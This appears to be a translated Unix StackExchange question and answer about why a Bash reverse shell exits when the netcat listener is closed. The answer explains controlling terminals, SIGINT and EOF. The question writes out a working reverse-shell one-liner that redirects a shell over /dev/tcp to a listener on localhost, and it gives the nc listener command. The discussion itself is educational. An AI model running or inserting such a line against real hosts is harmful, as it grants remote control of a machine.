Bash

使用exec重定向所有主文件描述符會導致shell在程序存在後退出,具體取決於哪一端關閉連接?

  • July 5, 2019

我一直在Bash通過使用各種重定向運算符創建反向 shell 來練習我的技能。

設置nc監聽器後:

nc -lvp 4444

我執行以下命令:

0<&116-; exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

我無法解釋的是為什麼/bin/shshell在連接斷開後退出,但只有當ncshell通過按下斷開連接時才退出^C?如果/bin/shshell斷開連接,那麼進入shell會^C導致/bin/shshell中出現換行符nc

0<&116-;

不知道這應該實現什麼,除了觸發錯誤(除非 fd 116 已經打開,在這種情況下它也不會做任何值得注意的事情)。

迷惑讀者?

exec 116<>/dev/tcp/127.0.0.1/4444 >&116 <&116 2>&116; /bin/sh

即使你通過socket將目前shell的stdin、stdout和stderr重定向到listening nc,目前終端仍然是shell的控制終端

目前終端中的 ^C 將發送 aSIGINT到前台作業,該作業(如果不等待另一個命令)是 shell 本身,它是互動式的,將擷取SIGINT並在擷取它時重新列印其提示。

另一個終端中的 ^C (在哪裡nc -l ..執行,shell 從哪裡獲取輸入並將其輸出列印到哪裡)將終止nc並關閉其所有連接,導致 shell 由於EOF其標準輸入而退出。

同樣,尚不清楚額外/bin/sh的內容應該達到什麼目的。它將立即退出,因為它EOF在 stdin 或SIGPIPE/EPIPE在它從其父級繼承的 stdout 上(與 的斷開連接nc)。

引用自:https://unix.stackexchange.com/questions/528429